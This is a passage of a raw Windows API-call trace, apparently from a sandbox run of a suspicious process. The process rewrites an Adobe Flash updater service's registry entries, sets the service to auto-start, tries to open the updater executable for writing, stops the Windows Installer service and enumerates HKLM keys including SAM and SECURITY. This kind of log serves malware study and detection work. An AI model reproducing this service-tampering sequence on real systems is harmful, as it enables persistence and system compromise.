lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ImagePath ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0248.898] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d268 [0248.898] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f42b0 [0248.898] RegEnumValueA (in: hKey=0x148, dwIndex=0xf, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ImagePath ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x103 [0248.899] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f4190 [0248.899] RegSetValueExA (in: hKey=0x154, lpValueName="DependOnService", Reserved=0x0, dwType=0x1, lpData="rpcss", cbData=0x6 | out: lpData="rpcss") returned 0x0 [0248.899] RegSetValueExA (in: hKey=0x154, lpValueName="DependOnService ", Reserved=0x0, dwType=0x1, lpData="rpcss", cbData=0x6 | out: lpData="rpcss") returned 0x0 [0248.899] RegEnumValueA (in: hKey=0x148, dwIndex=0x0, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="DisplayName", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0248.899] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x10) returned 0x252d678 [0248.899] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d268 [0248.899] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f41d8 [0248.899] RegEnumValueA (in: hKey=0x148, dwIndex=0x1, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ImagePath", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0248.899] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d4b8 [0248.899] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f42b0 [0248.899] RegEnumValueA (in: hKey=0x148, dwIndex=0x2, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="Description", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0248.899] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d388 [0248.899] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f4190 [0248.899] RegEnumValueA (in: hKey=0x148, dwIndex=0x3, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ObjectName", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0248.899] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d518 [0248.899] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f4268 [0248.899] RegEnumValueA (in: hKey=0x148, dwIndex=0x4, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ErrorControl", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0248.899] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x20) returned 0x252bc08 [0248.899] RegEnumValueA (in: hKey=0x148, dwIndex=0x5, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="Start", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0248.900] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d3e8 [0248.900] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f4148 [0248.900] RegEnumValueA (in: hKey=0x148, dwIndex=0x6, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="Type", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0248.900] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d4d8 [0248.900] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f4100 [0248.900] RegEnumValueA (in: hKey=0x148, dwIndex=0x7, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="DependOnService", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0248.900] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d4a8 [0248.900] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f40b8 [0248.900] RegEnumValueA (in: hKey=0x148, dwIndex=0x8, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ServiceSidType", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0248.900] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x30) returned 0x21573f8 [0248.900] RegEnumValueA (in: hKey=0x148, dwIndex=0x9, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="RequiredPrivileges", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0248.900] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d4f8 [0248.900] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f4028 [0248.900] RegEnumValueA (in: hKey=0x148, dwIndex=0xa, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="FailureActions", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0248.900] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d3c8 [0248.900] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f3fe0 [0248.900] RegEnumValueA (in: hKey=0x148, dwIndex=0xb, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="RequiredPrivileges ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0248.900] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d4e8 [0248.900] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f3f98 [0248.900] RegEnumValueA (in: hKey=0x148, dwIndex=0xc, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ObjectName ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0248.900] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f3f50 [0248.900] RegEnumValueA (in: hKey=0x148, dwIndex=0xd, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="DependOnService ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0248.900] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d378 [0248.900] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f3ec0 [0248.900] RegEnumValueA (in: hKey=0x148, dwIndex=0xe, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ImagePath ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0248.900] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d578 [0248.900] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f4778 [0248.901] RegEnumValueA (in: hKey=0x148, dwIndex=0xf, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ImagePath ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x103 [0248.901] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f43d0 [0248.901] RegSetValueExA (in: hKey=0x154, lpValueName="ImagePath ", Reserved=0x0, dwType=0x1, lpData="C:\\Windows\\SysWOW64\\Macromed\\Flash\\FlashPlayerUpdateService.exe", cbData=0x40 | out: lpData="C:\\Windows\\SysWOW64\\Macromed\\Flash\\FlashPlayerUpdateService.exe") returned 0x0 [0248.901] CommandLineToArgvW (in: lpCmdLine="C:\\Windows\\SysWOW64\\Macromed\\Flash\\FlashPlayerUpdateService.exe", pNumArgs=0x36f464 | out: pNumArgs=0x36f464) returned 0x7f03d0*="C:\\Windows\\SysWOW64\\Macromed\\Flash\\FlashPlayerUpdateService.exe" [0248.901] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x10) returned 0x252d678 [0248.901] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d578 [0248.901] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2fc0 [0248.901] LocalFree (hMem=0x7f03d0) returned 0x0 [0248.901] RegSetValueExA (in: hKey=0x154, lpValueName="ImagePath", Reserved=0x0, dwType=0x1, lpData="C:\\Windows\\SysWOW64\\Macromed\\Flash\\FlashPlayerUpdateService.exe", cbData=0x40 | out: lpData="C:\\Windows\\SysWOW64\\Macromed\\Flash\\FlashPlayerUpdateService.exe") returned 0x0 [0248.901] OpenServiceW (hSCManager=0x803918, lpServiceName="AdobeFlashPlayerUpdateSvc", dwDesiredAccess=0x2) returned 0x8038a0 [0248.902] ChangeServiceConfigW (in: hService=0x8038a0, dwServiceType=0xffffffff, dwStartType=0x2, dwErrorControl=0xffffffff, lpBinaryPathName=0x0, lpLoadOrderGroup=0x0, lpdwTagId=0x0, lpDependencies=0x0, lpServiceStartName=0x0, lpPassword=0x0, lpDisplayName=0x0 | out: lpdwTagId=0x0) returned 1 [0248.904] CloseServiceHandle (hSCObject=0x8038a0) returned 1 [0248.904] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bf8) returned 1 [0248.904] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d3a8) returned 1 [0248.905] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d630) returned 1 [0248.905] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f47c0) returned 1 [0248.905] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d458) returned 1 [0248.905] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d648) returned 1 [0248.905] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0248.905] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0248.905] RegCloseKey (hKey=0x154) returned 0x0 [0248.905] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252e950) returned 1 [0248.905] RegCloseKey (hKey=0x148) returned 0x0 [0248.905] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1898) returned 1 [0248.905] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1808) returned 1 [0248.905] GetFileAttributesExW (in: lpFileName="C:\\Windows\\SysWOW64\\Macromed\\Flash\\FlashPlayerUpdateService.exe" (normalized: "c:\\windows\\syswow64\\macromed\\flash\\flashplayerupdateservice.exe"), fInfoLevelId=0x0, lpFileInformation=0x36f4cc | out: lpFileInformation=0x36f4cc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc905990, ftCreationTime.dwHighDateTime=0x1d35d06, ftLastAccessTime.dwLowDateTime=0xc905990, ftLastAccessTime.dwHighDateTime=0x1d35d06, ftLastWriteTime.dwLowDateTime=0x83a38000, ftLastWriteTime.dwHighDateTime=0x1d35cdb, nFileSizeHigh=0x0, nFileSizeLow=0x44000)) returned 1 [0248.905] CreateFileW (lpFileName="C:\\Windows\\SysWOW64\\Macromed\\Flash\\FlashPlayerUpdateService.exe" (normalized: "c:\\windows\\syswow64\\macromed\\flash\\flashplayerupdateservice.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0248.905] GetLastError () returned 0x20 [0248.905] CryptAcquireContextW (in: phProv=0x36f510, szContainer=0x0, szProvider=0x0, dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0x36f510*=0x7f03d0) returned 1 [0248.906] CryptGenRandom (in: hProv=0x7f03d0, dwLen=0x4, pbBuffer=0x36f524 | out: pbBuffer=0x36f524) returned 1 [0248.906] CryptReleaseContext (hProv=0x7f03d0, dwFlags=0x0) returned 1 [0248.906] OpenServiceW (hSCManager=0x803918, lpServiceName="msiserver", dwDesiredAccess=0x20) returned 0x803990 [0248.906] ControlService (in: hService=0x803990, dwControl=0x1, lpServiceStatus=0x36f474 | out: lpServiceStatus=0x36f474*(dwServiceType=0x10, dwCurrentState=0x3, dwControlsAccepted=0x7, dwWin32ExitCode=0x0, dwServiceSpecificExitCode=0x0, dwCheckPoint=0x0, dwWaitHint=0x0)) returned 0 [0248.907] GetLastError () returned 0x425 [0248.907] CloseServiceHandle (hSCObject=0x803990) returned 1 [0248.907] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1808 [0248.907] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1898 [0248.907] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x252e950 [0248.907] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x280) returned 0x2152850 [0248.907] SHRegDuplicateHKey (hkey=0x80000002) returned 0x80000002 [0248.907] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x0, lpName=0x2152850, cchName=0x104 | out: lpName="BCD00000000") returned 0x0 [0248.907] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0248.907] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bcd00000000", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0248.907] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0248.907] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bcd00000000", cchWideChar=11, lpMultiByteStr=0x21f18e0, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bcd00000000", lpUsedDefaultChar=0x0) returned 11 [0248.907] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bf8 [0248.907] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0248.907] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bf8) returned 1 [0248.907] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0248.907] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x1, lpName=0x2152850, cchName=0x104 | out: lpName="HARDWARE") returned 0x0 [0248.908] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0248.908] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="hardware", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0248.908] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bf8 [0248.908] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="hardware", cchWideChar=8, lpMultiByteStr=0x21f1bf8, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="hardware", lpUsedDefaultChar=0x0) returned 8 [0248.908] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0248.908] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bf8) returned 1 [0248.908] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0248.908] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0248.908] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x2, lpName=0x2152850, cchName=0x104 | out: lpName="SAM") returned 0x0 [0248.908] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0248.908] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="sam", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0248.908] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0248.908] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="sam", cchWideChar=3, lpMultiByteStr=0x21f18e0, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="sam", lpUsedDefaultChar=0x0) returned 3 [0248.908] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bf8 [0248.908] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0248.908] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bf8) returned 1 [0248.908] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0248.908] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x3, lpName=0x2152850, cchName=0x104 | out: lpName="SECURITY") returned 0x0 [0248.908] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0248.908] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="security", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0248.908] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bf8 [0248.908] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="security", cchWideChar=8, lpMultiByteStr=0x21f1bf8, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="security", lpUsedDefaultChar=0x0) returned 8 [0248.908] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0248.908] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bf8) returned 1 [0248.908] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0248.908] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0248.908] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x4, lpName=0x2152850, cchName=0x104 | out: lpName="SOFTWARE") returned 0x0 [0248.908] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0248.908] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="software", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0248.908] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0248.908] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="software", cchWideChar=8, lpMultiByteStr=0x21f18e0, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="software", lpUsedDefaultChar=0x0) returned 8 [0248.908] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bf8 [0248.909] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0248.909] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bf8) returned 1 [0248.909] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0248.909] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x5, lpName=0x2152850, cchName=0x104 | out: lpName="SYSTEM") returned 0x0 [0248.909] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0248.909] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="system", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0248.909] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bf8 [0248.909] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="system", cchWideChar=6, lpMultiByteStr=0x21f1bf8, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="system", lpUsedDefaultChar=0x0) returned 6 [0248.909] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0248.909] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bf8) returned 1 [0248.909] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0248.909] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0248.909] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="SYSTEM", ulOptions=0x0, samDesired=0x20109, phkResult=0x36f44c | out: phkResult=0x36f44c*=0x154) returned 0x0 [0248.909] RegCloseKey (hKey=0x80000002) returned 0x0 [0248.909] RegEnumKeyW (in: hKey=0x154, dwIndex=0x0, lpName=0x2152850, cchName=0x104 | out: lpName="ControlSet001") returned 0x0 [0248.909] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0248.909] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="controlset001", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0248.909] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0248.909] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="controlset001", cchWideChar=13, lpMultiByteStr=0x21f18e0, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="controlset001", lpUsedDefaultChar=0x0) returned 13 [0248.909] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bf8 [0248.909] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0248.909] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bf8) returned 1 [0248.909] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0248.909] RegEnumKeyW (in: hKey=0x154, dwIndex=0x1, lpName=0x2152850, cchName=0x104 | out: lpName="ControlSet002") returned 0x0 [0248.909] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0248.909] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="controlset002", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0248.909] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bf8 [0248.909] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="controlset002", cchWideChar=13, lpMultiByteStr=0x21f1bf8, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="controlset002", lpUsedDefaultChar=0x0) returned 13 [0248.909] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0248.910] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bf8) returned 1 [0248.910] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0248.910] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0248.910] RegEnumKeyW (in: hKey=0x154, dwIndex=0x2, lpName=0x2152850, cchName=0x104 | out: lpName="MountedDevices") returned 0x0 [0248.910] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0248.910] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="mounteddevices", cchWideChar=14, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 14 [0248.910] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0248.910] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="mounteddevices", cchWideChar=14, lpMultiByteStr=0x21f18e0, cbMultiByte=14, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="mounteddevices", lpUsedDefaultChar=0x0) returned 14 [0248.910] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bf8 [0248.910] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0248.910] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bf8) returned 1 [0248.910] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0248.910] RegEnumKeyW (in: hKey=0x154, dwIndex=0x3, lpName=0x2152850, cchName=0x104 | out: lpName="RNG") returned 0x0 [0248.910] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0248.910] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="rng", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0248.910] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bf8 [0248.910] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="rng", cchWideChar=3, lpMultiByteStr=0x21f1bf8, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="rng", lpUsedDefaultChar=0x0) returned 3 [0248.910] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 